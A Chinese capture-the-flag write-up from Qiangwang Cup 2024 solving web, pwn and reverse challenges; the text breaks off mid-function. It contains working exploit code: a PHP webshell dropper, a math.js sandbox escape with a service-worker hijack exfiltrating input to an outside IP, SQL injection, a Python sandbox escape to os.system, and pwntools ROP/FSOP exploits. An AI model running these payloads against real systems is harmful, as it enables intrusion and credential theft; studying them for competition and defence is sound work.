强网杯 2024 By W&M
WEB - 7
Password Game
前面通过游戏,不同session,要求不一样
这里"3650"是算式的解,后面的8加上,为了满足倍数。
password="3650"Ac8
注意得用双引号括起来,3650Ac8不行
发过去就能出现下面的代码
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
思路:令user对象的username指向root的value
先使用$user->password触发root的__get,这样root对象的value就是flag
然后user对象的__destruct输出username,就能输出flag。
现在的问题是payload超长了
strpos($this->username, "admin") == 0 false也==0
admin和其它null的属性可以删了省长度
Proxy
照着json构造一个post到/v1/api/flag就行了
platform
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
class SessionRandom {
public function generateRandomString() {
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
暂时无法在飞书文档外展示此内容
构造一个固定长度random的payload。然后爆破random
写一个文件进去。然后include
import requests
target="http://eci-2ze16rku3lt0k578tb5l.cloudeci1.ichunqiu.com/"
r=requests.session()
r.headers={"Cookie":"PHPSESSID=1bch487l00n8ljjd6aqt6j4r9d"}
while True:
#r.post(target+"index.php",data={"username":"passthrupassthrupassthrupassthrupassthrupassthruproc_open","password":';test|O:15:"notouchitsclass":1:{s:4:"data";s:93:"file_put_contents(\'/tmp/guoke\',base64_decode(\'PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7\'));echo guoke;";}'})
r.post(target + "index.php", data={"username": "passthrupassthrupassthrupassthrupassthrupassthrupassthru","password": ';test|O:15:"notouchitsclass":1:{s:4:"data";s:22:"include(\'/tmp/guoke\');";}'})
res=r.post(target+"dashboard.php",data={"123":"phpinfo();"}).text
if("phpinfo" in res):
print(res)
exit(0)
EzCalc
分析 index
的那个 js,全局搜一下 expression
值了Id,看到 x
似乎输入,混淆的有这个ea
,是计算结果的函数
来自这个 lib
看到是 math.js 框架
math.js version 11.8.2
有一个被主动修复但没有 CVE 的洞
https://github.com/josdejong/mathjs/commit/6dcbc6b7933bd076b18f3eed0393895ca62d4f51
e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);alert(1)')")._compile({},{});f=e(null,cos);f()
替换上面 alert(1)
的部分就能代码执行了,前面的部分是因为 Bot 要先检测输出结果是不是 114514
,因此循环替换 DOM 的 innerHTML 即可。
Bot 在执行完我们的代码之后就关闭页面,并开启一个新的页面输入 flag 了,和 2021 年的强网杯思路差不多,注册一个 Service Wroker 做一层代理劫持。
https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API
main.go
的 blacklistedExt
里没有 .``js
,直接通过 screenshot
,用GIF89a
绕过 C``ontent``-T``ype
嗅探判断即可,然后劫持 /
路由,返回我们想要的 Html:
POST https://ezcalc-1.hurrison.com/api/screenshot/upload HTTP/1.1
Host: ezcalc-1.hurrison.com
Connection: keep-alive
Content-Length: 225
------WebKitFormBoundaryArJCeyxjNJe0uoGK
Content-Disposition: form-data; name="file"; filename="a.js"
Content-Type: image/png
GIF89a=1;
console.log("installedstart");
self.addEventListener('install', event => {
// Skip waiting so the SW activates immediately on install
self.skipWaiting();
});
self.addEventListener('activate', event => {
// Activate immediately after installation
event.waitUntil(self.clients.claim());
});
const html = `
<html>
<body>
<input id="expr" placeholder="Math Expression" class="ant-input css-ni1kz0 ant-input-outlined ant-input-compact-item ant-input-compact-first-item" type="text" value="">
<button id="calc" type="button" class="ant-btn css-ni1kz0 ant-btn-primary ant-btn-color-primary ant-btn-variant-solid ant-btn-compact-item ant-btn-compact-last-item"><span>Calculate</span></button>
</body>
<script>
calc.onclick = function(){
window.location.href = "http://123.45.67.89:9990/flag?flag="+encodeURI(expr.value)
}
</script>
</html>
`;
self.addEventListener('fetch', event => {
console.log(event);
// Intercept the request for /index.html
if (event.request.url.endsWith('/')) {
event.respondWith(
new Response(html, {
headers: { 'Content-Type': 'text/html' }
})
);
}
});
------WebKitFormBoundaryArJCeyxjNJe0uoGK--
/static/下的注册,只能控制
/static/下的页面,劫持会对注册时路由的 Path(scoop)下所有的路径生效,但是
main.go的静态路由有解析漏洞,解析只匹配
/static开头而不是
/static/,那么例如
/staticxxx在
StripPrefix之后,得到的就是
xxx
func StaticMiddleware(relativePath, root string) gin.HandlerFunc {
return func(c *gin.Context) {
if strings.HasPrefix(c.Request.URL.Path, relativePath) {
fs := gin.Dir(root, false)
fileServer := http.StripPrefix(relativePath, http.FileServer(fs))
fileServer.ServeHTTP(c.Writer, c.Request)
} else {
c.Next()
}
}
}
所以 /staticxxx.js
和 /staticxxx.js
等价
这样注册的时候用 /staticxxx.js
就能控制 /
下的全部页面了
e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);navigator.serviceWorker.register(`/staticea8a77c8-80e4-4d8f-9c72-dfbfaf1bb0a2.js`)')")._compile({},{});f=e(null,cos);f()
脚本,Bot 没响应的话需要多打几次:
import requests
from io import BytesIO
RECEIVER='http://xx.xxx.xx.xx'
TARGET='https://ezcalc-1.hurrison.com'
def upload_file(content):
bio = BytesIO()
bio.write(content.encode())
r = requests.post(TARGET + '/api/screenshot/upload', files={'file': ('a.js', bio.getvalue(), 'image/png')})
return r.json()
def gen_payload(script):
payload = '''
e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);%s')")._compile({},{});f=e(null,cos);f()
'''.replace('%s', script).strip()
return payload
service_worker_html = '''
GIF89a=1;
self.addEventListener('install', event => {
self.skipWaiting();
});
self.addEventListener('activate', event => {
event.waitUntil(self.clients.claim());
});
const html = `
<html>
<body>
<input id="expr" type="text" value=""><button id="calc">Calculate</button>
</body>
<script>
calc.onclick = () => { window.location.href = "%s/?flag="+encodeURIComponent(expr.value) }
</script>
</html>
`;
self.addEventListener('fetch', event => {
if (event.request.url.endsWith('/')) {
event.respondWith(
new Response(html, {
headers: { 'Content-Type': 'text/html' }
})
);
}
});
'''.replace('%s', RECEIVER).strip()
def post_payload(expr_payload):
url = TARGET + '/api/report'
json = {"expression": expr_payload, "result": "[]", "email": "A", "comment": "B", "screenshots": []}
r = requests.post(url, json=json)
return r.json()
def main():
json = upload_file(service_worker_html)
fp = '/' + json['data']['path'].replace('/', '')
print(f"Service Worker: {fp}")
payload = gen_payload(f'''navigator.serviceWorker.register(`{fp}`)''')
print(f"Payload: {payload}")
json = post_payload(payload)
report_id = json['data']['id']
print(f"Report ID: {report_id}")
print(f"URL: {TARGET}/api/report/{report_id}")
if __name__ == '__main__':
main()
Keyboard 监听,meta 跳转等等都可以。能劫持之后什么都好做了。
snake
贪吃蛇
写脚本跑到40分给url
import requests
import numpy as np
import json
rs = requests.session()
firstRequest = True
BASE_URL = 'http://eci-2zed2ka6j5awv8ff0n95.cloudeci1.ichunqiu.com:5000'
rightmost = 19
leftmost = 0
upmost = 0
downmost = 19
import socket
def set_username():
username = socket.gethostname()
url = BASE_URL + '/set_username'
data = {"username": username}
r = rs.post(url, data=data)
assert r.json()['status'] == 'success',r.text
print(r.cookies)
with open("./cookie.json", "w") as f:
json.dump(requests.utils.dict_from_cookiejar(rs.cookies), f)
return r.json()
def do_action(action):
global firstRequest
assert action in ['UP', 'DOWN', 'LEFT', 'RIGHT']
url = BASE_URL + '/move'
data = {"direction": action}
r = rs.post(url, json=data)
return r.json()
def draw_snake(info):
# new 20x20 image
img = np.zeros((20, 20, 3), dtype=np.uint8)
if info['status'] == 'game_over':
print(info)
print('Game Over')
key = cv2.waitKey(999999)
if key == ord('q'):
exit(0)
return
else:
if 'food' in info:
img[info['food'][1], info['food'][0]] = [0, 0, 255]
for i, snake in enumerate(info['snake']):
if i == 0:
img[snake[1], snake[0]] = [0, 255, 0]
else:
img[snake[1], snake[0]] = [255, 0, 0]
img = cv2.resize(img, (400, 400), interpolation=cv2.INTER_NEAREST)
cv2.imshow('image', img)
key = cv2.waitKey(1)
if key == ord('q'):
exit(0)
def dprint(*args):
print(*args)
import os
direction = "UP"
flip = False
def do_think(info):
global direction,flip,do_draw,firstRequest
if info['status'] == 'game_over':
if not do_draw:
print(info)
print('Game Over')
input()
return "RIGHT"
snake_head = info['snake'][0]
head_x, head_y = snake_head
if firstRequest:
firstRequest = False
if head_x % 2 != 0:
return "LEFT"
# if touching upper bound, go right
if direction == "UP" and head_y == upmost:
direction = "DOWN"
return "RIGHT"
# if touching lower bound, go right
elif direction == "DOWN" and head_y == downmost -1 and (head_x,head_y) != (19,18):
direction = "RIGHT"
# if has already moved right, move up
elif direction == "RIGHT" and head_y == downmost - 1:
direction = "UP"
# if touching left bound, go up
elif direction == "LEFT" and head_x == leftmost:
direction = "UP"
if (head_x,head_y) == (19,19):
direction = "LEFT"
return direction
do_draw = os.getenv("DISPLAY", False)
if do_draw:
import cv2
def main():
global do_draw
set_username()
try:
action = "LEFT"
while 1:
info = do_action(action)
print(info)
if do_draw:
draw_snake(info)
action = do_think(info)
print(action)
finally:
if do_draw:
cv2.destroyAllWindows()
with open("cookie_end.json", "w") as f:
json.dump(requests.utils.dict_from_cookiejar(rs.cookies), f)
main()
{'status': 'win', 'url': '/snake_win?username=1'} 然后sql注入 二次注入ssti
Xiaohuanxiong
远程的环境代码
https://github.com/forkable/xiaohuanxiong/blob/master/application/admin/controller/Login.php
注入
/search?keyword=23%27)%20union%20select%201,group_concat(0x7e,username,0x7e,password),3,4,5,6,7,8,9,10,11,12,13,14%20from%20e86ca84c_admin%23
前台注册用户。通过sql注入拿到密码
例如
已知密码test+salt=3a3649ab0871a7525e1a47d7bb27ebf2
爆破salt得到6a9960
再通过注入拿到admin的salt hash
密码+6a9960=7f05d893f1563e20e2e4547d301fd28e
跑出密码登录后台
salt是6位0-9a-z
PyBlockly
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
这个位置用中文单引号逃逸,加号也是用中文的
"TEXT":"’+str(vars())+‘"
要执行多条代码就用逗号隔开
"TEXT":"’+str(1)),print(123),print(‘"
my_audit_hook这里,把len覆盖掉,把len变成bool函数,输入字符串时恒返回True,True>4恒为False
setattr(vars()【chr(95)+chr(95)+’builtins‘+chr(95)+chr(95)】,‘len’,bool)
下面的代码本地能跑
def my_audit_hook(event_name, arg):
print('[INFO] event_name: ',event_name)
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
print('[INFO] len(event_name): ',len(event_name))
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
print('[INFO] bad:',bad)
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
setattr(__builtins__,'len',bool)
print([x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0].load_module('os').system('whoami'))
Rce:
"TEXT":"’+str(1)),setattr(vars()【chr(95)+chr(95)+’builtins‘+chr(95)+chr(95)】,“len”,lambda x:1),print(getattr(getattr(getattr(getattr((),chr(95)+chr(95)+’class‘+chr(95)+chr(95)),chr(95)+chr(95)+’base‘+chr(95)+chr(95)),chr(95)+chr(95)+’subclasses‘+chr(95)+chr(95))()【107】,’load‘+chr(95)+’module‘)(‘os’)。system(‘whoami’)),print(‘"
得提权
有suid的命令
dd if=/flag
好了
PWN - 3
chat_with_me
Rust 堆,白给了栈、堆、elf地址,add的所有chunk都指向栈上的同一个位置。
Edit(0x28)偏移位置的地址会作为地址被释放,heap有一个0x2010大小的缓冲区,
考虑在缓冲区伪造chunk, free到fastbin,然后让chunklist在扩容的时候realloc出来,则可以将chunklist 放入缓冲区中,可以被我们写入,然后即可任意写,在栈上ROP即可,需要注意的是,超过0x50的内容会剩下在缓冲区中,被当成下次的输入,所以payload的结尾只能用"0"字符串伪造fastbin的next size,("00.."是一个有效的choice,所以不会panic)
最终exp如下:
from pwn import *
from pickle import Unpickler
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwnr')
exe = context.binary = ELF(exe_path)
libc = ELF('./libc.so.6')
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def gdb_pause(p, cmd):
gdb.attach(p, gdbscript=cmd)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def menu(index):
p.recvuntil('Choice >')
p.sendline(str(index))
def add():
menu(1)
def show(index):
menu(2)
p.recvuntil('Index >')
p.sendline(str(index))
def bye():
menu(5)
def edit(index,content):
menu(3)
p.recvuntil('Index >')
p.sendline(str(index))
p.recvuntil('Content >')
p.send(content)
def free(index):
menu(4)
p.recvuntil('Index >')
p.sendline(str(index))
index = 0
while True:
p=remote("47.94.151.65",34857)
# p=remote("127.0.0.1",6666)
index += 1
lg("index")
add()
show(0)
addr_list = []
stack = 0
elf_base = 0
for i in range(32):
p.recvuntil(',')
for i in range(6):
p.recvuntil(' ')
addr_list.append(int(p.recvuntil(',', drop=True),10))
addr_list = addr_list[::-1]
for i in range(len(addr_list)):
stack <<= 8
stack += addr_list[i]
p.recvuntil('0,')
p.recvuntil('0,')
addr_list = []
for i in range(6):
p.recvuntil(' ')
addr_list.append(int(p.recvuntil(',', drop=True),10))
addr_list = addr_list[::-1]
for i in range(len(addr_list)):
elf_base <<= 8
elf_base += addr_list[i]
elf_base -= 0x635b0
addr_list = []
heap_base = 0
for i in range(10):
p.recvuntil(' ')
for i in range(6):
p.recvuntil(' ')
addr_list.append(int(p.recvuntil(',', drop=True),10))
addr_list = addr_list[::-1]
for i in range(len(addr_list)):
heap_base <<= 8
heap_base += addr_list[i]
heap_base -= 0x2bb0
heap_base -= index*8
lg("heap_base")
lg("stack")
lg('elf_base')
payload = flat(
p64(0), p64(0x50),cyclic(0x10),
p64(heap_base+0xbb0),
p64(0), p64(0),p64(0x51),
cyclic(0x10),
b"0000000000"
)
try:
for i in range(0x7):
edit(0 ,payload)
edit(0, payload)
for i in range(4):
add()
except:
p.close()
continue
pop_rax = 0x0000000000016f3e+elf_base
pop_rdi_rbp = 0x000000000001dd45+elf_base
pop_rsi_r15 = 0x000000000001e032+elf_base
syscall = 0x0000000000026fcf+elf_base
pop_rcx = 0x17fff+elf_base
sub_rdx_rcx = 0x1fc60+elf_base
add_rdx_20 = 0x000000000004c6c6+elf_base
mov_gad = 0x0000000000026f49 + elf_base # : mov rdx, r13 ; mov rdi, r15 ; mov rsi, r14 ; call r12
pop_gad = 0x000000000001e1ee + elf_base# : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
ropchain2 = flat(
p64(pop_rcx),
p64(0x70),
p64(sub_rdx_rcx),
p64(pop_rax),
p64(0x3b),
p64(pop_rdi_rbp),
p64(stack-0x228+0x50+0x60),
p64(0),
p64(pop_rsi_r15),
p64(0),
p64(0),
p64(syscall),
"/bin/sh\x00",p64(0)
)
ropchain = flat(
p64(add_rdx_20),
p64(pop_rax),
p64(0),
p64(pop_rdi_rbp),
p64(0),
p64(0),
p64(pop_rsi_r15),
p64(stack-0x228+0x50),
p64(0),
p64(syscall)
)
ropchain3 = flat(
b"/bin/sh\x00",
p64(pop_rax),
p64(0x3b),
p64(pop_gad),
p64(syscall),
p64(0),
p64(0),
p64(stack-0x228),
p64(0),
p64(mov_gad)
)
payload = flat(
cyclic(0x10),
p64(stack-0x228),p64(stack-0x228) #p64(heap_base+0x2bb0)
)
edit(0, payload)
edit(0, ropchain3)
p.interactive()
break
expect_number
一个伪随机数
有一个栈溢出,打C++异常处理
后门
首先通过game partial overwrite覆盖栈上虚表低位地址,让 4的exit选项被劫持为一个可以溢出的函数,同时,这一过程还可以使用show带出elf地址
然后在溢出的函数中触发异常,劫持到后门的异常处理函数
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwnf')
exe = context.binary = ELF(exe_path)
# libc = ELF('')
rand_op = [4,3,2,4,2,4,3,1,2,2,3,4,3,4,4,3,1,3,1,1,4,1,4,2,3,3,3,4,4,4,2,3,3,3,2,4,2,1,4,3,2,2,2,4,1,2,3,1,4,3,2,3,4,1,1,2,3,3,1,2,2,2,1,4,1,2,3,2,2,2,1,4,3,2,3,4,3,1,4,3,4,1,1,3,1,1,4,4,3,4,1,1,1,1,4,1,3,3,3,4,4,3,3,3,4,2,2,3,2,1,1,1,2,1,3,2,2,2,1,4,1,2,4,2,2,4,2,4,2,4,4,1,2,2,3,2,3,4,4,1,1,4,1,2,4,4,3,1,1,4,1,2,1,4,3,2,3,4,2,4,4,1,1,1,2,3,2,1,3,1,1,3,4,1,4,4,4,2,4,1,1,4,2,1,4,4,3,2,3,4,2,2,4,2,3,1,4,4,1,2,1,1,4,4,2,3,3,1,1,3,1,1,2,2,2,1,1,4,3,4,3,4,1,2,1,3,2,4,3,3,2,3,3,1,2,4,4,1,1,4,3,1,4,4,3,1,1,3,4,3,2,2,2,3,3,2,1,1,1,3,3,2,1,1,3,3,1,2,3,1,1,1,1,4,4,3,1,4,2,4,2,3,2,3,1,4,4,2]
# p = process('./pwnf')
p = remote("59.110.156.237",32887)
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
def continu(innum):
p.sendlineafter("choice","1")
p.sendlineafter("0",str(innum))
def show():
p.sendlineafter("choice","2")
def submit():
p.sendlineafter("choice","3")
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def gdb_pause(p, cmd):
gdb.attach(p, gdbscript=cmd)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
now_num = 0
for i in rand_op[:0x120-8-4-1]:
if i == 1:
# show()
if now_num < 0x60:
continu(2)
now_num+=2
else:
continu(0)
# now_num+=2
elif i == 2:
continu(0)
# now_num+=2
elif i == 3:
continu(1)
# now_num+=2
elif i == 4:
# submit()
continu(1)
# now_num+=1
show()
p.recvuntil("1000011`")
elf_base = u64(p.recv(6)+b"\x00\x00")-0x4c48
continu(1)
lg("elf_base")
backdoor = elf_base + 0x251F - 5
bss = elf_base + 0x50A0
p.sendline("4")
p.recvuntil('Tell me your favorite number.')
# gdb.attach(p)
# pause()
p.send(p64(0xdeadbeaf)*4+p64(bss)+p64(backdoor))
p.interactive()
baby_heap
白给uaf,只有一次edit,可以malloc超级大堆块,必须大于0x500,只能add 6次
题目把_IO_wfile_jump给删了
可以直接用largebin attack 打IO_list_all然后用house of some打到栈上,最后openat2 read write
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
# p = process(["./ld-linux-x86-64.so.2", "./main"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('47.93.55.85',20637)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def menu(index):
p.recvuntil('Enter your choice:')
p.sendline(str(index))
def add(size):
menu(1)
p.recvuntil('Enter your commodity size')
p.sendline(str(size))
def show(index):
menu(4)
p.recvuntil('Enter which to show:')
p.sendline(str(index))
def edit(index,content):
menu(3)
p.recvuntil('Enter which to edit:')
p.sendline(str(index))
p.recvuntil('Input the content')
p.send(content)
def free(index):
menu(2)
p.recvuntil('Enter which to delete:')
p.sendline(str(index))
add(0x510)
add(0x510)
add(0x500)
free(1)
add(0x1000)
show(1)
large = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = large - 2208016
p.recv(10)
heap_base = u64(p.recv(6).ljust(8,b"\x00"))+0x28
lg('libc_base')
lg("heap_base")
target = libc_base+libc.symbols['_IO_list_all']-0x20
fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target - 0x100, #_IO_write_ptr
0x68: target-0x100, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload = p64(large)*2+p64(target-0x100)+p64(libc_base+libc.symbols['_IO_list_all']-0x20)+fake_io_read[0x30:]
edit(1,payload)
free(3)
add(0x1000)
add(0x500)
menu(6)
p.recvuntil('Input your target addr \n')
p.sendline(b'1')
fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
p.send(fake_io_read)
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')
fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000 + 0x200, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')
sleep(0.1)
p.send(payload)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
lg("stack")
target = stack - 720 - 8
lg('target')
fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
sleep(0.1)
p.send(fake_io_read)
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000016333a
pop_rdx_rbx_ret = libc_base + 0x00000000000904a9
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = libc_base + 0x0000000000091316
pop_rax_call_rax = libc_base + 0x0000000000166369
shellcode_addr = target + 0x60
mprotect = libc_base + libc.symbols['mprotect']
pop_rbp_ret = libc_base + 0x000000000002a2e0
shellcode = asm("""
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
payload = flat([
pop_rdi_ret, target & ~0xfff,
pop_rsi_ret, 0x2000,
pop_rdx_rbx_ret, 7, 0,
mprotect,
pop_rbp_ret, heap_base + 0x3000,
pop_rax_call_rax, shellcode_addr
])
# print(shellcode)
payload += shellcode
sleep(0.1)
p.send(payload)
p.interactive()
REVERSE - 2
mips
动态调试来做
有反调试
nop掉
Opcode dump下来
_BYTE opcodes[] =
{
0x00, 0x81, 0x42, 0x26, 0x3C, 0x08, 0x02, 0x01, 0x35, 0x28,
0x3A, 0x03, 0x24, 0x0B, 0x02, 0x16, 0x24, 0x0A, 0x02, 0x03,
0x11, 0x61, 0x02, 0x05, 0x00, 0x01, 0x02, 0x03, 0x21, 0x28,
0x02, 0x02, 0x21, 0x09, 0x02, 0x02, 0x21, 0x4B, 0xFD, 0xFC,
0x11, 0x41, 0x02, 0x09, 0x00, 0x01, 0x02, 0x03, 0x01, 0x8D,
0x62, 0x25, 0x01, 0xAC, 0x6A, 0x25, 0x81, 0x2D, 0x02, 0x03,
0x81, 0x0C, 0x02, 0x03, 0x01, 0x8B, 0x62, 0x25, 0x01, 0xAD,
0x6A, 0x25, 0x11, 0xA1, 0xFD, 0xF7, 0x00, 0x01, 0x02, 0x03,
0x24, 0x0A, 0x02, 0x02, 0x01, 0x61, 0x12, 0x26, 0x03, 0xE1,
0x02, 0x0B, 0x00, 0x01, 0x02, 0x03
};
_BYTE* thread = opcodes;
for (int i = 0; i != 96; ++i)
{
BYTE v7 = i & 3 ^ *thread;
*thread++ = v7;
printf("%02x ", v7 & 0xff);
}
是
解密出的是
#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "ida.h"
#include <stdint.h>
int main() {
unsigned char ida_chars[] =
{
0x73, 0x78, 0x72, 0x75, 0x6A, 0x74, 0x76, 0x60, 0x6C, 0x61,
0x62, 0x69, 0x56, 0x7A, 0x62, 0x70, 0x60, 0x76, 0x70, 0x67,
0x7C
};
char key[] = { 0x73,0x78,0x72,0x75,0x6a,0x74,0x76,0x60,0x6c,0x61,0x62,0x69,0x56,0x7a,0x62,0x70,0x60,0x76,0x70,0x67,0x7c };
int temp = 0;
for (size_t i = 21; i >0; i--)
{
printf("%c", (ida_chars[temp++] ^ i));
}
return 0;
}
flag{dynamic_reverse}
提示要动态逆向,假的flag
https://blog.csdn.net/qq_38722334/article/details/109842394
不太行,单独调试mips还是给fakeflag
分析emu发现
cpu_loop:sub_29ED1E
tb_gen_code:sub_3A0FF7 (插入了一个加密flag的函数)
do_syscall:sub_3EAE62
do_syscall1:sub_3DE49E (魔改了NR_read NR_write等syscall处理分支)
可疑的rc4函数:int64 fastcall sub_33D48E(__int64 a1)
去除混淆后的效果
交叉引用定位到密文
unsigned int unk_B9CA80[23] = {
0x000000C4, 0x000000EE, 0x0000003C, 0x000000BB, 0x000000E7, 0x000000FD, 0x00000067, 0x0000001D,
0x000000F8, 0x00000097, 0x00000068, 0x0000009D, 0x0000000B, 0x0000007F, 0x000000C7, 0x00000080,
0x000000DF, 0x000000F9, 0x0000004B, 0x000000A0, 0x00000046, 0x00000091, 0x00000000
};
{ 0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D, 0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80, 0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91 };
有输入flag交换位置的函数
swap(inputflag, 7LL, 11LL);
result = swap(inputflag, 12LL, 16LL);
xor的key可能的值
RC4的加密部分是魔改的,采用爆破单字节的方式来解出flag
exp如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*初始化函数*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i % Len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j]; // 交换s[i]和s[j]
s[j] = tmp;
}
}
unsigned char* rc4(char* input, int xors) {
unsigned char dead[4] = { 0xDE, 0xAD, 0xBE, 0xEF };
unsigned char SBox[256] = { 0 }; // S-box
char key[256] = { "6105t3" };
